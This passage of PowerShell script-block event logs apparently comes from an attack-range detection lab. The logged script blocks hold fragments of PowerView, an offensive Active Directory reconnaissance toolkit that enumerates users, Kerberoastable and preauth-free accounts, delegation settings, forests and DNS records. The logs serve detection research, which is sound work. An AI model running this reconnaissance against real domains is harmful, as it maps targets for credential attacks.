domain '$Domain'" } $SchemaArguments = @{} if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } if ($TargetForest) { $SchemaArguments['Forest'] = $TargetForest } } PROCESS { if ($PSBoundParameters['ReferencePropertySet']) { Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" $ReferenceObjectProperties = $ReferencePropertySet } elseif ($PSBoundParameters['ReferenceObject']) { Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" } else { Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" } if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { $Objects = Get-DomainUser @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $UserReferencePropertySet } } elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { $Objects = Get-DomainGroup @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $GroupReferencePropertySet } } elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { $Objects = Get-DomainComputer @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $ComputerReferencePropertySet } } else { throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" } ForEach ($Object in $Objects) { $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name ForEach($ObjectProperty in $ObjectProperties) { if ($ReferenceObjectProperties -NotContains $ObjectProperty) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName $Out | Add-Member Noteproperty 'Property' $ObjectProperty $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') $Out } } } } } ######################################################## # # "net *" replacements and other fun start below # ######################################################## function Get-DomainUser { <# .SYNOPSIS Return all users or specific user objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all user objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. Also accepts DOMAIN\user format. .PARAMETER SPN Switch. Only return user objects with non-null service principal names. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER AdminCount Switch. Return users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER AllowDelegation Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' .PARAMETER DisallowDelegation Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. .PARAMETER PreauthNotRequired Switch. Return user accounts with "Do not require Kerberos preauthentication" set. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainUser -Domain testlab.local Return all users for the testlab.local domain .EXAMPLE Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" Return the user with the given SID, as well as Administrator. .EXAMPLE 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff lastlogoff samaccountname ---------- -------------- 12/31/1600 4:00:00 PM dfm.a 12/31/1600 4:00:00 PM dfm 12/31/1600 4:00:00 PM harmj0y 12/31/1600 4:00:00 PM Administrator .EXAMPLE Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation Search the specified OU for privileged user (AdminCount = 1) that allow delegation .EXAMPLE Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon .EXAMPLE Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local Get-DomainUser dev\user1 -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) distinguishedname ----------------- CN=user1,CN=Users,DC=dev,DC=testlab,DC=local .INPUTS String .OUTPUTS PowerView.User Custom PSObject with translated user property fields. PowerView.User.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [Switch] $SPN, [Switch] $AdminCount, [Parameter(ParameterSetName = 'AllowDelegation')] [Switch] $AllowDelegation, [Parameter(ParameterSetName = 'DisallowDelegation')] [Switch] $DisallowDelegation, [Switch] $TrustedToAuth, [Alias('KerberosPreauthNotRequired', 'NoPreauth')] [Switch] $PreauthNotRequired, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $UserSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($UserSearcher) { $IdentityFilter = '' $Filter = '' $Identity ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997197 Keywords=None Message=Creating Scriptblock text (11 of 54): Forest } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetForest = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" } $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" $Null } } elseif ($PSBoundParameters['Forest']) { $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) try { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" return $Null } } else { # otherwise use the current forest $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() } if ($ForestObject) { # get the SID of the forest root if ($PSBoundParameters['Credential']) { $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid } else { $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid } $Parts = $ForestSid -Split '-' $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid $ForestObject } } } function Get-ForestDomain { <# .SYNOPSIS Return all domains for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Returns all domains for the current forest or the forest specified by -Forest X. .PARAMETER Forest Specifies the forest name to query for domains. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target forest. .EXAMPLE Get-ForestDomain .EXAMPLE Get-ForestDomain -Forest external.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestDomain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { $ForestObject.Domains } } } function Get-ForestGlobalCatalog { <# .SYNOPSIS Return all global catalogs for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Returns all global catalogs for the current forest or the forest specified by -Forest X by using Get-Forest to retrieve the specified forest object and the .FindAllGlobalCatalogs() to enumerate the global catalogs. .PARAMETER Forest Specifies the forest name to query for global catalogs. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestGlobalCatalog .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestGlobalCatalog -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.GlobalCatalog #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { $ForestObject.FindAllGlobalCatalogs() } } } function Get-ForestSchemaClass { <# .SYNOPSIS Helper that returns the Active Directory schema classes for the current (or specified) forest or returns just the schema class specified by -ClassName X. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION Uses Get-Forest to retrieve the current (or specified) forest. By default, the .FindAllClasses() method is executed, returning a collection of [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] result for the specified class name is returned. .PARAMETER ClassName Specifies a ActiveDirectorySchemaClass name in the found schema to return. .PARAMETER Forest The forest to query for the schema, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestSchemaClass Returns all domain schema classes for the current forest. .EXAMPLE Get-ForestSchemaClass -Forest dev.testlab.local Returns all domain schema classes for the external.local forest. .EXAMPLE Get-ForestSchemaClass -ClassName user -Forest external.local Returns the user schema class for the external.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred Returns the user schema class for the external.local domain using the specified alternate credentials. .OUTPUTS [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] An ActiveDirectorySchemaClass returned from the found schema. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [Alias('Class')] [ValidateNotNullOrEmpty()] [String[]] $ClassName, [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { if ($PSBoundParameters['ClassName']) { ForEach ($TargetClass in $ClassName) { $ForestObject.Schema.FindClass($TargetClass) } } else { $ForestObject.Schema.FindAllClasses() } } } } function Find-DomainObjectPropertyOutlier { <# .SYNOPSIS Finds user/group/computer objects in AD that have 'outlier' properties set. Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer .DESCRIPTION A 'reference' set of property names is calculated, either from a standard set preserved for user/group/computers, or from the array of names passed to -ReferencePropertySet, or from the property names of the passed -ReferenceObject. Every user/group/computer object (depending on determined class) are enumerated, and for each object, if the object has a 'non-standard' property set (meaning a property not held by the reference set), the object's samAccountName, property name, and property value are output to the pipeline. .PARAMETER ClassName Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. If -ReferenceObject is specified, this will be automatically extracted, if possible. .PARAMETER ReferencePropertySet Specifies an array of property names to diff against the class schema. .PARAMETER ReferenceObject Specicifes the PowerView user/group/computer object to extract property names from to use as the reference set. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-DomainObjectPropertyOutlier -ClassName 'User' Enumerates users in the current domain with 'outlier' properties filled in. .EXAMPLE Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. .EXAMPLE Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier Enumerates computers in the current domain with 'outlier' properties filled in. .OUTPUTS PowerView.PropertyOutlier Custom PSObject with translated object property outliers. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.PropertyOutlier')] [CmdletBinding(DefaultParameterSetName = 'ClassName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] [Alias('Class')] [ValidateSet('User', 'Group', 'Computer')] [String] $ClassName, [ValidateNotNullOrEmpty()] [String[]] $ReferencePropertySet, [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] [PSCustomObject] $ReferenceObject, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','insta ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997196 Keywords=None Message=Creating Scriptblock text (10 of 54): { $Results = $DNSSearcher2.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member NoteProperty 'ZoneName' $Out.name $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" } } } catch { Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" } $DNSSearcher2.dispose() } } } function Get-DomainDNSRecord { <# .SYNOPSIS Enumerates the Active Directory DNS records for a given zone. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord .DESCRIPTION Given a specific Active Directory DNS zone name, query for all 'dnsNode' LDAP entries using that zone as the search base. Return all DNS entry results and use Convert-DNSRecord to try to convert the binary DNS record blobs. .PARAMETER ZoneName Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). .PARAMETER Domain The domain to query for zones, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDNSRecord -ZoneName testlab.local Retrieve all records for the testlab.local zone. .EXAMPLE Get-DomainDNSZone | Get-DomainDNSRecord Retrieve all records for all zones in the current domain. .EXAMPLE Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local Retrieve all records for all zones in the dev.testlab.local domain. .OUTPUTS PowerView.DNSRecord Outputs custom PSObjects with detailed information about the DNS record entry. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DNSRecord')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $ZoneName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateNotNullOrEmpty()] [String[]] $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $SearcherArguments = @{ 'LDAPFilter' = '(objectClass=dnsNode)' 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DNSSearcher = Get-DomainSearcher @SearcherArguments if ($DNSSearcher) { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } else { $Results = $DNSSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { try { $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged $Out | Add-Member NoteProperty 'ZoneName' $ZoneName # convert the record and extract the properties if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { # TODO: handle multiple nested records properly? $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] } else { $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord } if ($Record) { $Record.PSObject.Properties | ForEach-Object { $Out | Add-Member NoteProperty $_.Name $_.Value } } $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') $Out } catch { Write-Warning "[Get-DomainDNSRecord] Error: $_" $Out } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" } } $DNSSearcher.dispose() } } } function Get-Domain { <# .SYNOPSIS Returns the domain object for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current domain or the domain specified with -Domain X. .PARAMETER Domain Specifies the domain name to query for, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-Domain -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Domain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain A complex .NET domain object. .LINK http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetDomain = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" } $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" } } else { try { [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" } } } } function Get-DomainController { <# .SYNOPSIS Return the domain controllers for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-Domain .DESCRIPTION Enumerates the domain controllers for the current or specified domain. By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer to search for domain controllers. .PARAMETER Domain The domain to query for domain controllers, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER LDAP Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainController -Domain 'test.local' Determine the domain controllers for 'test.local'. .EXAMPLE Get-DomainController -Domain 'test.local' -LDAP Determine the domain controllers for 'test.local' using LDAP queries. .EXAMPLE 'test.local' | Get-DomainController Determine the domain controllers for 'test.local'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainController -Credential $Cred .OUTPUTS PowerView.Computer Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. System.DirectoryServices.ActiveDirectory.DomainController If -LDAP isn't specified. #> 